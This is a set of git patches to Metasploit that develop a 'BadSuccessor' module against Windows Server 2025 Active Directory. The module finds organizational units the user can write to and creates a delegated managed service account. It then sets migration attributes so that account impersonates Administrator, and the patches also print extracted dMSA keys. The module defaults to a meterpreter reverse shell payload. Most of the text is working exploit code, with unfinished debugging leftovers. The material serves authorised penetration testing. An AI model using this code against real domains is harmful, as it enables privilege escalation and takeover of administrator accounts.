NameType::NT_ENTERPRISE, diff --git a/modules/auxiliary/admin/kerberos/get_ticket.rb b/modules/auxiliary/admin/kerberos/get_ticket.rb index e8479b7d0f190..8283b167d523c 100644 --- a/modules/auxiliary/admin/kerberos/get_ticket.rb +++ b/modules/auxiliary/admin/kerberos/get_ticket.rb @@ -53,7 +53,7 @@ def initialize(info = {}) OptBool.new('DMSA', [ false, 'Set to true if the account you are impersonating is a dMSA account' ]), OptString.new( 'NTHASH', [ - false, + false, 'The NT hash in hex string. Server must support RC4' ] ), @@ -290,7 +290,7 @@ def action_get_tgs end def print_dmsa_key_package_info(dmsa_key_package) - puts "dMSA Key Package:" + print_status("dMSA Key Package:") # Helper method to decode encryption type def decode_encryption_type(type) @@ -306,23 +306,21 @@ def decode_encryption_type(type) end end - # Print current keys - puts "Current Keys:" + print_status("Current Keys:") dmsa_key_package.current_keys.each do |key_set| key_set.each do |key| type = decode_encryption_type(key[0][0]) value = key[1][0] - puts " Type: #{type}, Key: #{value.unpack1('H*')}" + print_good(" Type: #{type}, Key: #{value.unpack1('H*')}") end end - # Print previous keys - puts "Previous Keys:" + print_status("Previous Keys:") dmsa_key_package.previous_keys.each do |key_set| key_set.each do |key| type = decode_encryption_type(key[0][0]) value = key[1][0] - puts " Type: #{type}, Key: #{value.unpack1('H*')}" + print_good(" Type: #{type}, Key: #{value.unpack1('H*')}") end end end diff --git a/modules/auxiliary/admin/ldap/bad_successor.rb b/modules/auxiliary/admin/ldap/bad_successor.rb index 6448a91537ee9..38a4f24bb82b4 100644 --- a/modules/auxiliary/admin/ldap/bad_successor.rb +++ b/modules/auxiliary/admin/ldap/bad_successor.rb @@ -51,7 +51,7 @@ def initialize(info = {}) 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0, - 'DisclosureDate' => '2024-06-11', + 'DisclosureDate' => '2025-05-21', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, ], @@ -61,7 +61,7 @@ def initialize(info = {}) ) end - #TODO looks like the check method will be in a separate module - maybe? could be? + #TODO check method? # This will return a list of SIDs that can edit the template from which the ACL is derived. From a7456d140d260215fe6a83f4adc7415fc5fd3d01 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 15 Aug 2025 13:01:53 -0700 Subject: [PATCH 6/9] Refactor badsuccessor module --- .../remote/kerberos/client/tgs_request.rb | 2 +- .../kerberos/model/pre_auth_s4u_x509_user.rb | 2 - modules/auxiliary/admin/ldap/bad_successor.rb | 202 +++++++----------- 3 files changed, 84 insertions(+), 122 deletions(-) diff --git a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb index d1bbe98f80341..97880115c163c 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb @@ -37,7 +37,7 @@ def build_tgs_request(opts = {}) ) else enc_auth_data = nil - en + end body = opts.fetch(:body) do build_tgs_request_body(opts.merge( diff --git a/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb b/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb index 603b13077119c..9b4ed3c5b6063 100644 --- a/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb +++ b/lib/rex/proto/kerberos/model/pre_auth_s4u_x509_user.rb @@ -32,10 +32,8 @@ def get_checksum(key, data) # @param e_type [Symbol] The encryption type # @param dmsa [Boolean] Whether the request is for dMSA def initialize(key, impersonate, realm, nonce, e_type: Rex::Proto::Kerberos::Crypto::Encryption::AES256, dmsa: false) - self.user_id = S4UUserID.new(impersonate, realm, nonce, dmsa: dmsa) self.checksum = Rex::Proto::Kerberos::Model::Checksum.new(type: Rex::Proto::Kerberos::Crypto::Encryption::DES3_CBC_SHA1, checksum: get_checksum(key.value, user_id.encode)) - end # Encodes the PA-S4U-X509-USER structure into an ASN.1 String diff --git a/modules/auxiliary/admin/ldap/bad_successor.rb b/modules/auxiliary/admin/ldap/bad_successor.rb index 38a4f24bb82b4..22f3644d2e9ee 100644 --- a/modules/auxiliary/admin/ldap/bad_successor.rb +++ b/modules/auxiliary/admin/ldap/bad_successor.rb @@ -11,6 +11,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::LDAP include Rex::Proto::LDAP include Msf::OptionalSession::LDAP + include Msf::Exploit::Remote::LDAP::ActiveDirectory #include Msf::Exploit::Remote::CheckModule # LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID @@ -38,6 +39,7 @@ def initialize(info = {}) ], 'References' => [ [ 'URL', 'https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory?&vid=badsuccessor-demo-video'], + [ 'URL', 'https://specterops.io/blog/2025/05/27/understanding-mitigating-badsuccessor/'], ], 'License' => MSF_LICENSE, 'Platform' => 'win', @@ -59,39 +61,75 @@ def initialize(info = {}) } ) ) + register_options([ + OptString.new('DMSA_ACCOUNT_NAME', [true, 'The name of the dMSA account to be created']), + OptString.new('ACCOUNT_TO_IMPERSONATE', [true, 'The name of the dMSA account to be created', 'Administrator']), + OptString.new('DC_FQDM', [true, 'The fqdn of the domain controller, to be used in determining if the DC is vulnerable']), + ]) end #TODO check method? + def windows_version_vulnerable? + #TODO - should we just resolve the domain name of the RHOST value + fqdn = datastore['DC_FQDM'] + filter = "(&(objectClass=computer)(dNSHostName=#{fqdn}))" + attributes = ['operatingSystem', 'operatingSystemVersion'] + version_info = @ldap.search(base: "OU=Domain Controllers," + @base_dn, filter: filter, attributes: attributes) + raise Net::LDAP::Error "Unable to retrieve Windows version information for #{fqdn}" if version_info.blank? - # This will return a list of SIDs that can edit the template from which the ACL is derived. - # The method checks the CreateChild, GenericAll, WriteDacl and WriteOwner bits of the access_mask to see if the user - # or group has write permissions over the OU - def get_sids_for_write(dacl) - allowed_sids = [] + #TODO - need to be sure we're only going to be receiving one result here + version_info = version_info.first + os = version_info[:operatingsystem].first + os_version = version_info[:operatingsystemversion].first - dacl[:aces].each do |ace| - access_mask = ace[:body][:access_mask] + os_version =~ /\((\d+)\)/ + build_number = Regexp.last_match(1) - # CreateChild comes from protocol field - mask = access_mask[:protocol] - has_create_child = (mask & 0x1) != 0 + unless build_number.to_i >= 26100 && os.include?('Windows Server 2025') + print_error("#{fqdn}: #{os} #{os_version}. This module only works against Windows Server 2025, build 26100 and later (currently unpatched).") + return false + end + print_good("#{fqdn} is running a vulnerable version of Windows: #{os} #{os_version}") + true + end - # Other rights come from explicit bits - has_generic_all = access_mask[:ga] == 1 - has_write_dacl = access_mask[:wd] == 1 - has_write_owner = access_mask[:wo] == 1 + def check + ldap_connect do |ldap| + validate_bind_success!(ldap) - if has_create_child || has_generic_all || has_write_dacl || has_write_owner - allowed_sids << ace[:body][:sid] + if (@base_dn = datastore['BASE_DN']) + print_status("User-specified base DN: #{@base_dn}") + else + print_status('Discovering base DN automatically') + + unless (@base_dn = ldap.base_dn) + print_warning("Couldn't discover base DN!") + end + end + @ldap = ldap + + begin + return Exploit::CheckCode::Safe unless windows_version_vulnerable? + rescue Net::LDAP::Error => e + return Exploit::CheckCode::Unknown(e.message) end - end - allowed_sids + ous = get_ous_we_can_write_to + if ous.blank? + return Exploit::CheckCode::Safe("Failed to find any Organizational Units #{datastore['LDAPUsername']} can write to.") + end + + print_good("Found #{ous.length} OUs we can write to, listing below:") + ous.each do |ou| + print_good(" - #{ou}") + end + + Exploit::CheckCode::Vulnerable + end end - def get_ous_we_can_write_to(user_sid) - required_rights = %w[CreateChild GenericAll WriteDacl WriteOwner] + def get_ous_we_can_write_to organizational_units = [] filter = '(objectClass=organizationalUnit)' @@ -99,26 +137,10 @@ def get_ous_we_can_write_to(user_sid) entries = query_ldap_server(filter, attributes) entries.each do |entry| - security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(entry['nTSecurityDescriptor']&.first) - next unless security_descriptor - - if security_descriptor.dacl - write_sids = get_sids_for_write(security_descriptor.dacl) - end - - next if write_sids.nil? || write_sids.empty? - - # If the user SID is not in the list of SIDs with write permissions, skip this OU - if write_sids.include?(user_sid) - print_status("Found OU with write permissions for user SID #{user_sid}: #{entry.dn}") - organizational_units << entry.dn - else - print_status("Skipping OU #{entry.dn} as it does not have write permissions for user SID #{user_sid}") - next + if adds_obj_grants_permissions?(@ldap, entry, SecurityDescriptorMatcher::Allow.any(%i[WP])) + organizational_units << entry[:dn].first end - end - organizational_units end @@ -149,19 +171,19 @@ def query_ldap_server(raw_filter, attributes, base_prefix: nil) end def create_dmsa(account_name, writeable_dn) + sam_account_name = account_name + '$' unless account_name.ends_with?('$') dn = "CN=#{account_name},#{writeable_dn}" - print_status("Attempting to dmsa account cn: #{account_name}, dn: #{dn}") + print_status("Attempting to create dmsa account cn: #{account_name}, dn: #{dn}") + dmsa_attributes = { 'objectclass' => ["top", "person", "organizationalPerson", "user", "computer", "msDS-DelegatedManagedServiceAccount"], 'cn' => [account_name], 'useraccountcontrol' => ["4096"], - 'samaccountname' => [account_name + '$'], + 'samaccountname' => [sam_account_name], 'dnshostname' => ["dontcare.com"], 'msds-supportedencryptiontypes' => ["28"], - 'msds-managedpasswordid' => ["\x01\x00\x00\x00KDSK\x02\x00\x00\x00k\x01\x00\x00\v\x00\x00\x00\a\x00\x00\x00\xC7\x14\x863y\xD1WQ\x8C\x9A4\xCC\xD6;\xF8x\x00\x00\x00\x00\x14\x00\x00\x00\x14\x00\x00\x00m\x00s\x00f\x00.\x00l\x00o\x00c\x00a\x00l\x00\x00\x00m\x00s\x00f\x00.\x00l\x00o\x00c\x00a\x00l\x00\x00\x00"], 'msds-managedpasswordinterval' => ["30"], 'msds-delegatedmsastate' => ["0"], - # 'msds-managedaccountprecededbylink'=> ["CN=Administrator,CN=Users,DC=msf,DC=local"], 'name' => [account_name] } @@ -205,6 +227,7 @@ def build_ace(sid) }) end + #TODO finish this method def grant_write_all_properties(dmsa_dn, user_sid) print_status("Granting 'Write all properties' permission for dMSA object: #{dmsa_dn}") @@ -267,12 +290,10 @@ def set_dmsa_attributes(dn, delegated_state, preceded_by_link) print_good("Successfully updated attributes for dMSA object: #{dn}") end - def query_account(account_name) - base_dn = 'OU=BadBois,DC=msf,DC=local' - + def query_account(account_name, writeable_dn) filter = Net::LDAP::Filter.eq("cn", account_name) entry = nil - @ldap.search(base: base_dn, filter: filter) do |e| + @ldap.search(base: writeable_dn, filter: filter) do |e| entry = e end @@ -283,11 +304,7 @@ def query_account(account_name) attrs_to_copy = {} entry.each do |attr, values| - - next if %w[distinguishedname dn objectguid objectsid whencreated whenchanged samaccounttype instancetype iscriticalsystemobject objectcategory - usnchanged usncreated name badpwdcount lastlogoff lastlogon localpolicyflags pwdlastset accountexpires - dscorepropagationdata logoncount badpasswordtime countrycode codepage primarygroupid].include?(attr.to_s) - + next unless %w[msds-managedaccountprecededbylink msds-delegatedmsastate].include?(attr.to_s) attrs_to_copy[attr.to_s] = values.map(&:to_s) end @@ -298,42 +315,6 @@ def query_account(account_name) print_status("#{key} => #{value.inspect}") end end - - end - - def create_computer_account(computer_account, writeable_dn) - dn = "CN=#{computer_account},#{writeable_dn}" - print_status("Attempting to dmsa account cn: #{computer_account}, dn: #{dn}") - computer_attributes = { - 'objectclass' => ["top", "person", "organizationalPerson", "user", "computer"], - 'cn' => [computer_account], - 'useraccountcontrol' => ["4096"], - 'samaccountname' => [computer_account + '$'], - 'dnshostname' => ["dontcare.com"], - 'userPassword' =>["N0tpassword!"], - 'name' => [computer_account] - } - - unless @ldap.add(dn: dn, attributes: computer_attributes) - - res = @ldap.get_operation_result - - case res.code - when Net::LDAP::ResultCodeInsufficientAccessRights - print_error("Insufficient access to create dMSA seed") - when Net::LDAP::ResultCodeEntryAlreadyExists - print_error("Seed object #{account_name} already exists") - when Net::LDAP::ResultCodeConstraintViolation - print_error("Constraint violation: #{res.error_message}") - else - print_error("#{res.message}: #{res.error_message}") - end - - return false - end - - print_good("Created dmsa #{computer_account}") - true end def run @@ -351,44 +332,27 @@ def run @ldap = ldap - # Run LDAP whoami - get user SID / group info - whoami_response = '' - begin - whoami_response = ldap.ldapwhoami - rescue Net::LDAP::Error => e - print_warning("The module failed to run the ldapwhoami command, ESC4 detection can't continue. Error was: #{e.class}: #{e.message}.") - return - end - - if whoami_response.empty? - print_error("Unable to retrieve the username using ldapwhoami, ESC4 detection can't continue") - return + # Get vulnerable OUs + ous = get_ous_we_can_write_to + print_good("Found #{ous.length} OUs we can write to, listing them below:") + ous.each do |ou| + print_good(" - #{ou}") end + writeable_dn = ous.first + fail_with(Failure::NoTarget, "There are no Organization Units we can write to, the exploit can not continue") if ous.empty? + print_good("Found #{ous.length} OUs we can write to") + create_dmsa(datastore['ACCOUNT_NAME'], writeable_dn) - sam_account_name = whoami_response.split('\\')[1] + sam_account_name = datastore['ACCOUNT_NAME'] + '$' unless datastore['ACCOUNT_NAME'].ends_with?('$') user_raw_filter = "(sAMAccountName=#{sam_account_name})" attributes = ['DN', 'objectSID', 'objectClass', 'primarygroupID'] our_account = ldap.search(base: @base_dn, filter: user_raw_filter, attributes: attributes)&.first - - # Get vulnerable OUs - ous = get_ous_we_can_write_to(Rex::Proto::MsDtyp::MsDtypSid.read(our_account[:objectsid].first).value) - writeable_dn = ous.first - - fail_with(Failure::NoTarget, "There are no Organization Units we can write to, the exploit can not continue") if ous.empty? - account_name = Faker::Internet.username(separators: '') - #computer_account = Faker::Internet.username(separators: '') - #computer_account = "server1" - account_name = "attackie_boi" - print_good("Found #{ous.length} OUs we can write to") - #create_computer_account(computer_account, writeable_dn) - #generate_ - #create_dmsa(account_name, writeable_dn) - require'pry-byebug';binding.pry - query_account("attackie_boi") - # You already have Write All Properties :hmmm: - #grant_write_all_properties("CN=#{account_name},#{writeable_dn}", Rex::Proto::MsDtyp::MsDtypSid.read(our_account[:objectsid].first)) - set_dmsa_attributes("CN=#{account_name},#{writeable_dn}","2", "CN=Administrator,CN=Users,DC=msf,DC=local") + #TODO I already have FullControl over this dMSA - this might not always be the case + #TODO It's possible you'll only end up with Owner (and in turn WriteDacl) which will require the module to edit the Dacl so we can then set the dmsa attributes to complete the dMSA account migration to impersonate the higher privileged account + #grant_write_all_properties("CN=#{datastore['ACCOUNT_NAME']},#{writeable_dn}", Rex::Proto::MsDtyp::MsDtypSid.read(our_account[:objectsid].first)) + set_dmsa_attributes("CN=#{datastore['ACCOUNT_NAME']},#{writeable_dn}","2", "CN=#{datastore['ACCOUNT_TO_IMPERSONATE']},CN=Users,DC=msf,DC=local") + query_account(datastore['ACCOUNT_NAME'], writeable_dn) end end end \ No newline at end of file From ab09a4b2c2b31c451ac0a9e7357f2262bd1797c4 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 15 Aug 2025 13:06:51 -0700 Subject: [PATCH 7/9] Minor update --- lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb index 97880115c163c..f63244136e616 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/tgs_request.rb @@ -96,7 +96,7 @@ def build_tgs_request(opts = {}) pa_data << pa_pac else - ###################### YOU CAN'T JUST ADD THIS HERE BUT YOU ARE FOR TESTING the "FINAL BOSS \/ \/ \/ \/ \/ + ###################### ADDED FOR TESTING FINAL TGS REQUESTING - should likely be behind a dMSA flag \/ \/ \/ \/ \/ pa_pac_options_flags = Rex::Proto::Kerberos::Model::PreAuthPacOptionsFlags.from_flags( [ Rex::Proto::Kerberos::Model::PreAuthPacOptionsFlags::BRANCH_AWARE @@ -113,7 +113,7 @@ def build_tgs_request(opts = {}) ) pa_data << pa_pac - ###################### YOU CAN'T JUST ADD THIS HERE BUT YOU ARE FOR TESTING the "FINAL BOSS" ^^^^^^ + ###################### ADDED FOR TESTING FINAL TGS REQUESTING - should likely be behind a dMSA flag ^^^^^^ end From e3c57e4a1d62411370ec6e24f1c54ba1f9128720 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 15 Aug 2025 13:35:17 -0700 Subject: [PATCH 8/9] Update datastore option name --- modules/auxiliary/admin/ldap/bad_successor.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/ldap/bad_successor.rb b/modules/auxiliary/admin/ldap/bad_successor.rb index 22f3644d2e9ee..69479e3361cba 100644 --- a/modules/auxiliary/admin/ldap/bad_successor.rb +++ b/modules/auxiliary/admin/ldap/bad_successor.rb @@ -342,17 +342,17 @@ def run writeable_dn = ous.first fail_with(Failure::NoTarget, "There are no Organization Units we can write to, the exploit can not continue") if ous.empty? print_good("Found #{ous.length} OUs we can write to") - create_dmsa(datastore['ACCOUNT_NAME'], writeable_dn) + create_dmsa(datastore['DMSA_ACCOUNT_NAME'], writeable_dn) - sam_account_name = datastore['ACCOUNT_NAME'] + '$' unless datastore['ACCOUNT_NAME'].ends_with?('$') + sam_account_name = datastore['DMSA_ACCOUNT_NAME'] + '$' unless datastore['DMSA_ACCOUNT_NAME'].ends_with?('$') user_raw_filter = "(sAMAccountName=#{sam_account_name})" attributes = ['DN', 'objectSID', 'objectClass', 'primarygroupID'] our_account = ldap.search(base: @base_dn, filter: user_raw_filter, attributes: attributes)&.first #TODO I already have FullControl over this dMSA - this might not always be the case #TODO It's possible you'll only end up with Owner (and in turn WriteDacl) which will require the module to edit the Dacl so we can then set the dmsa attributes to complete the dMSA account migration to impersonate the higher privileged account - #grant_write_all_properties("CN=#{datastore['ACCOUNT_NAME']},#{writeable_dn}", Rex::Proto::MsDtyp::MsDtypSid.read(our_account[:objectsid].first)) - set_dmsa_attributes("CN=#{datastore['ACCOUNT_NAME']},#{writeable_dn}","2", "CN=#{datastore['ACCOUNT_TO_IMPERSONATE']},CN=Users,DC=msf,DC=local") - query_account(datastore['ACCOUNT_NAME'], writeable_dn) + #grant_write_all_properties("CN=#{datastore['DMSA_ACCOUNT_NAME']},#{writeable_dn}", Rex::Proto::MsDtyp::MsDtypSid.read(our_account[:objectsid].first)) + set_dmsa_attributes("CN=#{datastore['DMSA_ACCOUNT_NAME']},#{writeable_dn}","2", "CN=#{datastore['ACCOUNT_TO_IMPERSONATE']},CN=Users,DC=msf,DC=local") + query_account(datastore['DMSA_ACCOUNT_NAME'], writeable_dn) end end end \ No newline at end of file From 191e33ccc34db262ec5f6f1ad62cfd5db8b5a1f9 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 15 Aug 2025 17:10:01 -0700 Subject: [PATCH 9/9] Check method update --- modules/auxiliary/admin/ldap/bad_successor.rb | 23 ++++++++----------- 1 file changed, 9 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/admin/ldap/bad_successor.rb b/modules/auxiliary/admin/ldap/bad_successor.rb index 69479e3361cba..8c5d976e6690b 100644 --- a/modules/auxiliary/admin/ldap/bad_successor.rb +++ b/modules/auxiliary/admin/ldap/bad_successor.rb @@ -72,25 +72,20 @@ def initialize(info = {}) def windows_version_vulnerable? #TODO - should we just resolve the domain name of the RHOST value fqdn = datastore['DC_FQDM'] - filter = "(&(objectClass=computer)(dNSHostName=#{fqdn}))" - attributes = ['operatingSystem', 'operatingSystemVersion'] - version_info = @ldap.search(base: "OU=Domain Controllers," + @base_dn, filter: filter, attributes: attributes) + filter = "(objectClass=domain)" + attributes = ['msds-behavior-version'] + dc_functional_level = @ldap.search(base: @base_dn, filter: filter, attributes: attributes) - raise Net::LDAP::Error "Unable to retrieve Windows version information for #{fqdn}" if version_info.blank? + raise Net::LDAP::Error "Unable to retrieve Windows version information for #{fqdn}" if dc_functional_level.blank? - #TODO - need to be sure we're only going to be receiving one result here - version_info = version_info.first - os = version_info[:operatingsystem].first - os_version = version_info[:operatingsystemversion].first + dc_functional_level = dc_functional_level.first + version = dc_functional_level["msds-behavior-version"].first - os_version =~ /\((\d+)\)/ - build_number = Regexp.last_match(1) - - unless build_number.to_i >= 26100 && os.include?('Windows Server 2025') - print_error("#{fqdn}: #{os} #{os_version}. This module only works against Windows Server 2025, build 26100 and later (currently unpatched).") + unless version.to_i == 10 + print_error("This module only works against domains running at the Windows 2025 functional level.") return false end - print_good("#{fqdn} is running a vulnerable version of Windows: #{os} #{os_version}") + print_good("The domain is running at the Windows 2025 functional level, which is vulnerable to BadSuccessor.") true end